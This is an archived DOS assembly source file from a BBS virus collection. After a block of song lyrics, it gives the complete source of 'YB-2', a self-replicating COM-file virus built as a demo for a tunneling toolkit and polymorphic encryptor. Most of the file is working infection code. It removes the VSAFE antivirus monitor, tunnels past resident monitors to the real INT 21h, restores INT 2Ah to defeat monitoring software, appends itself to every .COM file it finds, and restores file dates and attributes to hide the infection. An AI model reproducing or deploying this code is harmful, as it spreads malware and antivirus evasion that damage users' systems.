home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / crptlt18.arj / YB-2.ASM < prev    next >
Assembly Source File  |  1993-09-11  |  15KB  |  414 lines

  1. comment #  
  2.  
  3.   PRE-IGNITION
  4.   Hey you...
  5.   Tell me, what's your call name
  6.   Closed, negative display
  7.   Engaged on section three
  8.   The acrid factories
  9.   You...
  10.   Putrid perfect product
  11.   Proper platinum parts
  12.   Proficient prototypes
  13.   Steadily spew from these pipes
  14.   Are you...
  15.   The prime automaton
  16.   Christened as YB-1
  17.   Hey you...
  18.   Generated by waste
  19.   Arid quarry displaced
  20.   Enviro-mental squeeze
  21.   Aluminum disease
  22.   You...
  23.   Conscious of origin
  24.   Intention in the wind
  25.   Atmosphere infected
  26.   Descendants defected
  27.   Are you...
  28.   Novel stroke of design
  29.   Or relics from this mine
  30.   Casually, choke,
  31.   Noxious nourishment
  32.   Embodied, illicit cure
  33.   Ground and rock and sand
  34.   Come crumble tumble down
  35.   Grinding round
  36.   The hydraulic wheel
  37.   Extraction,
  38.   For ultimate greed
  39.   Now... hidden from view
  40.   Surveying stable shifts
  41.   A feeble groove
  42.   Unintentional split
  43.   Then they return to work
  44.   As if they're not disturbed
  45.   Cybernetic beings
  46.   Omniscient regiment
  47.   Thriving with vigor
  48.   Incessant loop
  49.   An assumed order
  50.   Auspicious tool
  51.   Frantically, flow
  52.   Spumous sediment
  53.   Remedied, neurotic fuse
  54.   Ground and rock and sand
  55.   Come crumble tumble down
  56.   Yonder sound, an echoing gong
  57.   Disjunction
  58.   Of their disowned song
  59.   Now... some are set free
  60.   Emotions flood their gaze
  61.   Synthetic breed
  62.   The pre-ignition phase
  63.   Pre-ignition
  64.   Flares up in you
  65.   Pre-ignition
  66.   Provokes me too.
  67.  
  68. #
  69.  
  70. ;**********************************************************************
  71. ; YB-2.ASM  
  72. ; AUTHOR:  Köhntark
  73. ; Demonstration Virus for Köhntark's Recursive Tunneling toolkit 4.1
  74. ;
  75. ; Demonstrates how to use KRTT 4.1.
  76. ; Please note that this is another 'unremarkable' computer virus.
  77. ; It is just a demo.
  78. ;**********************************************************************
  79.  
  80. extrn rnd_init:near       ;TpE
  81. extrn crypt:near          ;TpE
  82. extrn tunnel:near         ;KRTT 4.1
  83.  
  84. MAIN    SEGMENT BYTE
  85.         ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
  86.         ORG    100h
  87.  
  88. ;**********************************
  89. ;  fake host program
  90. ;**********************************
  91.  
  92. HOST:
  93.         db     0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
  94.         db     ' '
  95.         db     090h,090h,090h
  96.         mov    ah,4CH
  97.         mov    al,0
  98.         int    21H                 ;terminate normally with dos
  99.  
  100. ;═════════════════════════════════════════════════════════════════════════════
  101.  
  102. ;**********************************
  103. ; VIRUS CODE STARTS HERE
  104. ;**********************************
  105.  
  106.  
  107. VIRUS:                                  ;a label for the first byte of the virus
  108.  
  109.             call GET_ENTRY_PT           ;when call is performed absolute address goes to stack
  110.                             
  111. GET_ENTRY_PT:
  112.             pop  si
  113.             sub  si,GET_ENTRY_PT - VIRUS  ;fix absolute address
  114.  
  115. ;************************************           
  116. ; restore 4 original bytes to file
  117. ;************************************
  118.            
  119.            push si                                ;save si
  120.            cld                                    ;clear direction flag
  121.            add  si,START_CODE-VIRUS
  122.            mov  di,0100h
  123.            movsw                                  ;this is shorter & faster than 
  124.            movsw                                  ;mov cx,04 and rep movsb
  125.            pop  si                                ;restore si
  126.  
  127. ;************************************
  128. ; REMOVE CPAV-MSAV VSAFE FROM MEMORY
  129. ; (if present)
  130. ;************************************
  131.  
  132.             mov  dx,5945h
  133.             mov  ax,0FA01h    ;AL=01 very important!
  134.             int  21h
  135.  
  136. ;************************************           
  137. ; call KRTT 4.1
  138. ;************************************
  139.             
  140.             push es                ;save es
  141.             call TUNNEL            ;call KTTR 4.1
  142.             pop  es                ;restore es
  143.            
  144.             cmp  ah,01             ;int 21h found?
  145.             je   CONTINU           ;go on if so
  146.             cmp  ah,02             ;int 21h not hooked?
  147.             jne  EXIT_VIRUS2       ;exit if not
  148.  
  149. ;************************************           
  150. ; save INT 21h address if found
  151. ;************************************
  152.  
  153. CONTINU:           
  154.            mov  WORD PTR [si + INT_21 -VIRUS],di        ;int 21h offset    
  155.            mov  WORD PTR [si + INT_21 -VIRUS+2],dx      ;int 21h segment
  156.  
  157. ;************************************           
  158. ; CHECK INT 2Ah
  159. ;************************************
  160.  
  161. ; NOTE: INT 2A points to a IRET in all DOS versions. This interrupt is hooked
  162. ; by NETWARE & similar software so a check is made to see if such programs are
  163. ; present.
  164. ; A Russian resident monitoring program hooks this vector as it it called
  165. ; from within DOS's INT 21h in all file openings. (INT 21h, AH=3D)
  166. ; Restoring the original INT 2A defeats effectively such program.
  167.  
  168.             
  169.             mov  bp,01             ;search for INT 2A
  170.             push es                ;save es
  171.             call TUNNEL            ;call KTTR 4.1
  172.             pop  es                ;restore es
  173.            
  174.             cmp  ah,02             ;int 2Ah not hooked?
  175.             je   INT_2A_OK         ;proceed
  176.  
  177.             cmp  ah,01              ;int 2ah found?
  178.             je   CHECK_INT_2A       ;exit if not
  179.             jmp  short EXIT_VIRUS2
  180.  
  181. CHECK_INT_2A:
  182.               xor  ax,ax
  183.               int  2Ah           ;check for Netware, etc.
  184.               cmp  ax,00
  185.               jne  EXIT_VIRUS2
  186.  
  187.               push es                              ;save es
  188.               xor  bx,bx                           ;bx=0
  189.               mov  es,bx                           ;es=0
  190.               cli                                  ;disable interrupts
  191.               mov  WORD PTR es:[4 * 2Ah],di        ;restore int 2A offset
  192.               mov  WORD PTR es:[4 * 2Ah + 2],dx    ;restore int 2A segment
  193.               sti                                  ;enable interrupts
  194.               pop  es                              ;restore es
  195.  
  196. INT_2A_OK:
  197.  
  198. ;************************************           
  199. ; redirect DTA onto virus code
  200. ;************************************
  201.            
  202.    lea  dx,[si+ DTA - VIRUS]              ;put DTA at the end of the virus for now
  203.    mov  ah,1ah                            ;set new DTA function
  204.    int  21h
  205.  
  206. ;************************************
  207. ; Routines called from here           
  208. ;************************************
  209.  
  210.            call FIND_FILE       ;get a com file to attack!
  211.  
  212. ;═════════════════════════════════════════════════════════════════════════════
  213.  
  214. EXIT_VIRUS:
  215.            
  216. ;************************************
  217. ; set old  DTA  address
  218. ;************************************
  219.  
  220.            mov ah,1ah
  221.            mov dx,80h            ;fix dta back to return control to
  222.            int 21h               ;host program
  223.  
  224. EXIT_VIRUS2:
  225.  
  226. ;****************************************************************
  227. ; zero out registers for return to
  228. ; host program
  229. ;****************************************************************
  230.  
  231.  mov  ax,0100h     
  232.  push ax           ;save return address in stack
  233.  xor  bx,bx        ;zero regs
  234.  xor  ax,ax
  235.  cwd
  236.  xor  si,si
  237.  xor  di,di
  238.  ret               ;back to com host
  239.  
  240. ;═════════════════════════════════════════════════════════════════════════════
  241.  
  242. FIND_FILE:
  243.                 
  244.                 lea  dx,[si + FILES_TO_INFECT - VIRUS] 
  245.                 mov  ah,4eh   ;do DOS search 1st function
  246.                 mov  cx,3fh   ;search for any file, with any attributes
  247.  
  248. NEXT_FILE:      int  21h
  249.                 jc   NO_MO               ;return if not zero
  250.                 call CHECK_N_INFECT_FILE ;check file if file found
  251.                 mov  ah,4fh              ;file no good..find next function
  252.                 jmp  NEXT_FILE           ;test next file for validity
  253.  
  254. NO_MO:
  255.                 ret
  256.  
  257. ;═════════════════════════════════════════════════════════════════════════════
  258.  
  259. NO_GOOD:
  260.         jmp  GET_OUT
  261. ;-----------------------------------------------------------------------------
  262.  
  263. CHECK_N_INFECT_FILE:
  264.  
  265. ;*********************************************
  266. ; 1-Set attributes
  267. ;*********************************************
  268.        
  269.        lea dx,[si + DTA_File_Name - VIRUS]
  270.        xor cx,cx                              ;clear attributes
  271.        mov ax,4301h                           ;set file attributes to cx
  272.        pushf                                  ;save flags
  273.        call DWORD PTR [si + INT_21 - VIRUS]   ;call real int21h
  274.        jc   NO_MO                             ;error.. quit
  275.  
  276. ;*****************
  277. ; 2-OPEN FILE
  278. ;*****************
  279.               
  280.             mov  ax,3D02h                                ;r/w access to it
  281.             pushf                                        ;save flags
  282.             call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  283.             jc   NO_GOOD                                 ;error.. quit
  284.             xchg bx,ax                                   ;bx = file handle
  285.  
  286. ;********************
  287. ; 3-Read 1st 5 bytes
  288. ;********************
  289.             
  290.             mov  cx,5                                       ;read first 5 bytes of file
  291.             lea  dx,[si + START_CODE - VIRUS] ;store'em here
  292.             mov  ah,3Fh                                     ;DOS read function
  293.             pushf                                           ;save flags
  294.             call DWORD PTR [si + INT_21 - VIRUS]            ;call real int21h
  295.             jc   NO_GOOD                                    ;error? get next file
  296.  
  297. ;*********************
  298. ; 4-CHECK FILE
  299. ;*********************
  300.             
  301.             mov  ax,WORD PTR [si + DTA_File_Size - VIRUS] ;get file's size
  302.             add  ax,FINAL - VIRUS + 232d + 1640d + 100h   ;add virus size to it
  303.             jc   NO_GOOD                                  ;bigger then 64K:nogood
  304.             
  305.             cmp  WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
  306.             je   NO_GOOD                                 ;no? good
  307.  
  308.             cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
  309.             jne  INFECT                                  ;not a near jmp, file ok
  310.  
  311.             cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
  312.             je   NO_GOOD                                   ;file ok .. infect
  313.  
  314. INFECT:
  315.  
  316. ;*********************        
  317. ; 5-set PTR @EOF
  318. ;*********************
  319.         
  320.         mov  ax,4202H
  321.         xor  cx,cx                            ;prepare to write virus on file
  322.         cwd                                   ;position file pointer,cx:dx = 0
  323.         pushf                                 ;save flags
  324.         call DWORD PTR [si + INT_21 - VIRUS]  ;call real int21h
  325.  
  326. ;*********************        
  327. ; 6-Write Virus
  328. ;*********************
  329.          
  330.          mov  dx,si                                ;write from here
  331.          mov  cx,FINAL - VIRUS + 232d + 1640d      ;size of code to be encrypted +  KTT's size + TPE's size
  332.          mov  ah,40h
  333.          pushf                                     ;save flags
  334.          call DWORD PTR [si + INT_21 - VIRUS]      ;call real int21h, write from ds:dx    
  335.                                                    ;since ds does not equal cs yet
  336. ;*********************        
  337. ; 7-set PTR @BOF
  338. ;*********************
  339.         
  340.         mov  ax,4200h                         ;locate pointer at beginning of host
  341.         xor  cx,cx                           
  342.         cwd                                   ;position file pointer,cx:dx = 0
  343.         pushf                                 ;save flags
  344.         call DWORD PTR [si + INT_21 - VIRUS]  ;call real int21h
  345.  
  346. ;******************************************
  347. ; 8-write new 4 bytes to beginning of file
  348. ;******************************************
  349.         
  350.         mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS]  
  351.         sub  ax,3
  352.         mov  WORD PTR [si + START_IMAGE+1 - VIRUS],ax
  353.         
  354.         mov  cx,4                                 ;#of bytes to write
  355.         lea  dx,[si+ START_IMAGE - VIRUS]         ;ds:dx=pointer of data to write
  356.         mov  ah,40h                               ;DOS write function
  357.         pushf                                     ;save flags
  358.         call DWORD PTR [si + INT_21 - VIRUS]      ;call real int21h
  359.  
  360. ;*************************************************        
  361. ; 9-Restore date and time of file to be infected
  362. ;*************************************************
  363.  
  364.         mov  ax,5701h
  365.         mov  dx,WORD PTR [si + DTA_File_DATE - VIRUS]
  366.         mov  cx,WORD PTR [si + DTA_File_TIME - VIRUS]
  367.         pushf                                        ;save flags
  368.         call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  369.  
  370. ;****************        
  371. ; 10-Close File 
  372. ;****************
  373.  
  374. GET_OUT:  
  375.         mov  ah,3Eh
  376.         pushf                                        ;save flags
  377.         call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  378.  
  379. ;*************************************************        
  380. ; 11-Restore file's attributes
  381. ;*************************************************
  382.  
  383.        lea dx,[si + DTA_File_Name - VIRUS]             ;get filename
  384.        xor cx,cx 
  385.        mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS]    ;get old attributes
  386.        mov ax,4301h                                    ;set file attributes to cx
  387.        pushf                                           ;save flags
  388.        call DWORD PTR [si + INT_21 - VIRUS]            ;call real int21h
  389.        ret                                             ;infection done!
  390.  
  391. ;═════════════════════════════════════════════════════════════════════════════
  392.  
  393. NAME_AUTHOR     db  'YB-2 / Köhntark'         ;ID
  394. FILES_TO_INFECT db  '*.COM',0 
  395. START_CODE      db  090h,090h,090h,090h,090h  ;area to store 5 bytes to w/r from / to file
  396. START_IMAGE     db  0E9h,0,0,020h
  397.  
  398. INT_21          dd  0                  ;REAL INT 21h address
  399.  
  400. DTA             db 21 dup(0)  ;reserved
  401. DTA_File_Attr   db ?
  402. DTA_File_Time   dw ?
  403. DTA_File_Date   dw ?
  404. DTA_File_Size   dd ?
  405. DTA_File_Name   db 13 dup(0)
  406.  
  407. ;═════════════════════════════════════════════════════════════════════════════
  408.  
  409. FINAL:                ;label of byte of code to be kept in virus when it moves
  410.  
  411. MAIN ENDS
  412.      END    HOST
  413.  
  414.